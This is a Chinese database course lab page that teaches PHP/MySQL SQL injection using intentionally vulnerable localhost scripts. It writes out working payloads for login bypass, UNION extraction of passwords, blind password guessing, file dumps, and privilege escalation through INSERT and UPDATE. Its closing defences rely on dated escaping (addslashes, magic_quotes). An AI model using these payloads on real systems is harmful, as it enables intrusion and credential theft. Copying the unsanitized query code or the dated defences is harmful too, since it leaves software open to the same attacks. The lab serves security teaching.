关系数据库原理

实验8:PHP/MySQL注入


返回主页』『实验1』 『实验2』『实验3』『实验4』 『实验5』『实验6』『实验7』 『实验8』『大作业

本实验仅用于教学和研究目的。目前各大论坛上,各种关于WEB程序的漏洞其实都是同一个例子。在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是因为至少70%以上的站点存在SQL注入漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4以下的版本是不支持子语句的,特别当php.ini里的magic_quotes_gpc=On时。提交的变量中所有的' (单引号), " (双引号), \ (反斜线)和空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。

注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。

php+Mysql注入的误区

  很多人认为在PHP+MYSQL下注入一定要用到单引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:

$command = "dir c:\";
system($command);

  否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用呢?看看下面两句SQL语句:

①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id

  两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。

① 指定变量$id为:
1' and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'

②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

  看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。

  大家在写PHP程序的时候,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。

简单的例子

  先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何学习构造有效的SQL语句。
  我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

CREATE TABLE user (
userid int(11) NOT NULL auto_increment,
username varchar(20) NOT NULL default '',
password varchar(20) NOT NULL default '',
PRIMARY KEY (userid)
) TYPE=MyISAM;

#
# 导出表中的数据 user
#

INSERT INTO user VALUES (1, 'angel','mypass');

  验证用户文件的代码如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("connection failed!");

$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (empty($userinfo))
{
echo "Login Failed!";
} else {
echo "Login Succeed!";
}

echo "<p>SQL Query:$sql<p>";
?>

  这时我们提交:

http://localhost/injection/user.php?username=angel' or 1=1

  就会返回错误,因为单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,由此可知我们构造的语句不能让MySQL正确执行,必须重新构造SQL语句:

http://localhost/injection/user.php?username=angel' or '1=1

  这时显示“Login Succeed!”,说明成功了。或者提交:

http://localhost/injection/user.php?username=angel'/*
http://localhost/injection/user.php?username=angel'%23

  这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了。
  通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?

语句构造

  PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,看下面的例子。

一、搜索引擎

  网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。
  查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:

<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
</form>
<p><b>Search result</b></p>

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("Connection failed!");

$keywords = $_GET['keywords'];
if (!empty($keywords)) {
  //$keywords = addslashes($keywords);
  //$keywords = str_replace("_","\_",$keywords);
  //$keywords = str_replace("%","\%",$keywords);

  $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
  $result = mysql_db_query($dbname,$sql);
  $tatol=mysql_num_rows($result);

  echo "<p>SQL Query:$sql<p>";

  if ($tatol <=0){
    echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n";
  } else {
    while ($article=mysql_fetch_array($result)) {
      echo "<li>".htmlspecialchars($article[title])."<p>\n";
    } //while
  }
} else {
  echo "<b>Please enter some keywords.</b><p>\n";
}
?>

  一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:

%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#

  SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC

  就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方式了吧?

二、查询字段

  查询字段又可以分成两种,本表查询和跨表查询,如下所示:

① 本表查询

  看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("Connection failed!");

$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row) {
  echo "No record!";
  echo "<p>SQL Query:$sql<p>";
  exit;
}

echo "The ID you query:$row[userid]\n";
echo "<p>SQL Query:$sql<p>";
?>

  当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里,记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:

SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'

  相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,密码为mypass,
看了上面的例子,应该知道构造了吧,如果我们提交:

http://localhost/injection/user.php?username=angel' and password='mypass

  这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:

SELECT * FROM user WHERE username='angel' AND password='mypass'

  但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探测密码了,首先获取密码长度:

http://localhost/injection/user.php?username=angel' and LENGTH(password)='6

  在MYSQL中,要使用函数LENGTH(),只要没有构造错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回“No Record”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,再用LEFT()、RIGHT()、MID()函数暴力猜解密码:

http://localhost/injection/user.php?username=angel' and LEFT(password,1)='m
http://localhost/injection/user.php?username=angel' and LEFT(password,2)='my
http://localhost/injection/user.php?username=angel' and LEFT(password,3)='myp
http://localhost/injection/user.php?username=angel' and LEFT(password,4)='mypa
http://localhost/injection/user.php?username=angel' and LEFT(password,5)='mypas
http://localhost/injection/user.php?username=angel' and LEFT(password,6)='mypass

  当然实际情况会有不少条件限制,下面还会讲到这个例子的深入应用。

② 跨表查询

  一定要用UNION连接两条SQL语句,最难掌握的就是字段的数量,如果看过MYSQL参考手册,就知道了在SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段])部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在第一个SELECT原来应该显示的字段。

  如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:

SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……

  如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:

SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……

  否则就会报错:

The used SELECT statements have a different number of columns

  如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于int\str\var类型,所以我们只要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
  我们看看下面的数据结构,是一个简单的文章数据表。

CREATE TABLE article (
articleid int(11) NOT NULL auto_increment,
title varchar(100) NOT NULL default '',
content text NOT NULL,
PRIMARY KEY (articleid)
) TYPE=MyISAM;

#
# 导出表中的数据 article
#

INSERT INTO article VALUES (1, 'Stupid education', 'Fire the Minister');
INSERT INTO article VALUES (2, 'Smart student', 'I hate you');

  这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查询的表的结构和这个一样。就可以用“SELECT *”,如果有任何一个不一样,那我们只能用“SELECT 1,1,1,1……”了。

  下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("Connection failed");

$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);

if (!$row)
{
  echo "No Record!";
  echo "<p>SQL Query:$sql<p>";
  exit;
}

echo "title<br>".$row[title]."<p>\n";
echo "content<br>".$row[content]."<p>\n";
echo "<p>SQL Query:$sql<p>";
?>

正常情况下,我们提交这样的一个请求:

http://localhost/injection/show.php?id=1

  就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查询user表,现在是查询刚才我们建立的user表。
  由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:

SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……

  由于这个代码是有单引号包含着变量的,我们现在提交:

http://localhost/injection/show.php?id=1' union select 1,username,password from user/*

  由于我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当提交空值或者提交一个不存在的值,就会得到我们想要的东西:

http://localhost/injection/show.php?id=' union select 1,username,password from user/*
http://localhost/injection/show.php?id=99999' union select 1, username, password from user/*

  现在就在字段相对应的地方显示出我们所要的内容。

三、导出文件

  这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:

select * from table into outfile '/var/www/upload/out.txt'
select * from table into outfile '/var/www/file.txt'

  但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:

  • 必须导出到能访问的目录,这样才能下载。
  • 能访问的目录必须要有可写的权限,否则导出会失败。
  • 确保硬盘有足够的容量能容下导出的数据,这个很少见。
  • 确保要已经存在相同的文件名,会导致导出失败,并提示:“File '/var/www/file.txt' already exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。

  我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:

SELECT * FROM user WHERE username='$username' into outfile '/var/www/file.txt'

  知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:

http://localhost/injection/user.php?username=angel' into outfile '/var/www/file.txt

  由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:

http://localhost/injection/user.php?username=' or 1=1 into outfile '/var/www/file.txt

  实际的SQL语句变为:

SELECT * FROM user WHERE username='' or 1=1 into outfile '/var/www/file.txt'

  这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了。

  但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:

SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile '/var/www/user.txt'

  这样可以导出文件了,如果我们要构造就提交:

http://localhost/injection/show.php?id=1' union select 1,username,password from user into outfile '/var/www/user.txt

  文件是出来了,可是有一个问题,由于前面的查询articleid='1'为真了,所以导出的数据也有整个文章的一部分。

  所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:

http://localhost/injection/show.php?id=' union select 1,username,password from user into outfile '/var/www/user.txt

  这样才能得到我们想要的资料。

  值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。

INSERT

  如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:

CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `userid` )
);

  其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

  默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:

http://4ngel.net', '3’)#

  插入数据库的时候就变成:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

  这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。

UPDATE

  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:

UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'

  用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:

http://4ngel.net', userlevel='3

  整个SQL语句就变成这样:

UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'

  我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

  尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:

mypass)' WHERE username='admin'#

  这时整个语句变为:

UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

  这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:

' OR username='admin'

  这时整个语句变为:

UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

  照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION['username']来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
  变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。

高级应用

1、 使用MYSQL内置函数

  我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,这些东西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……

  各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:

UPDATE article SET title=$title WHERE articleid=1

  我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:

UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段

  灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前数据库等,比如前面跨表查询的例子,提交:

http://localhost/injection/show.php?id=1

  可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION,同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:

http://localhost/injection/show.php?id=-1 union select 1,database(),version()

  就可以返回当前数据库名和数据库版本,构造是比较容易的。

  

2、不加单引号注入

注:现在我们假设magic_quotes_gpc为on了。

  众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username='angel'

  如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。

  其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:

SELECT * FROM user WHERE userid=userid

  按照正常的,提交:

http://localhost/injection/user.php?userid=1

  就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:

http://localhost/injection/user.php?userid=1 and password=mypass

  绝对错误,因为mypass是字符串,除非提交:

http://localhost/injection/user.php?userid=1 and password='mypass'

  由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/',我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://localhost/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)

  正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!

http://localhost/injection/user.php?userid=1 and LEFT(password,1)=char(109)

  正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

http://localhost/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)

  又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:

http://localhost/injection/user.php?userid=1 and LEFT(password,1)>char(100)

  然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较:

http://localhost/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)

  而原来已经猜好的不用改变了,很快就可以猜完:

http://localhost/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)

  然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)

  就会返回:mypass

  当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回 len 个字符的子串。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

http://localhost/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://localhost/injection/user.php?userid=1 and mid(password,4,1)=char(97)

  我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然得出的结果也就快多了,也就是这样提交:

http://localhost/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://localhost/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://localhost/injection/user.php?userid=1 and ord(mid(password,3,1))=112

  这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

  如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非常必要的技巧,充分发挥UNION的特性。
  还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段:

http://localhost/injection/show.php?id=-1 union select 1,1,1

  有多少个“1”就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用char()函数,char(97)表示字母“a”,如下:

http://localhost/injection/show.php?id=-1 union select char(97),char(97),char(97)

  如果是字符串,那就会正常显示“a”,如果不是字符串或文本,也就是说是整形或布尔形,就会返回“0”

  判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。

4、猜数据表名

  在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么“畸形”,只要没有语句上的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交:

http://localhost/injection/show.php?id=1 union select 1,1,1

  返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样:

http://localhost/injection/show.php?id=1 union select 1,1,1 from members
http://localhost/injection/show.php?id=1 union select 1,1,1 from admin
http://localhost/injection/show.php?id=1 union select 1,1,1 from user

  如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了,所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手工操作是没有效率的问题的,不到一分钟就可以查询到了。
  但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以让多个程序共用一个数据库。比如:

site_article
site_user
site_download
forum_user
forum_post
……

  如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……

注入的防范

  防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
  如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:

$id = intval($id);
mysql_query("SELECT * FROM article WHERE articleid='$id'");

  或者这样写:

mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."")

  不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。
  字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:

$username = addslashes($username);
mysql_query("SELECT * FROM members WHERE userid='$username'");

  或者这样写:

mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."")

  使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:

$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);